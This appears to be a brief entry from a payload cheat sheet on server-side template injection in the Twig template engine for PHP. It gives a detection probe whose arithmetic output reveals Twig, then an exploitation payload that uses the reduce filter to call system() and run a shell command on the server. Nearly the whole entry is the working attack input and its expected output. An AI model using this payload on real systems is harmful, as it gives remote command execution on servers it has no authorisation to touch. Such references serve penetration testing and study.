Twig

Discovery

The server will run php in the back-end.

Input

{{5*'5'}}

Output

25

Exploitation

{{[0]|reduce('system','whoami')}}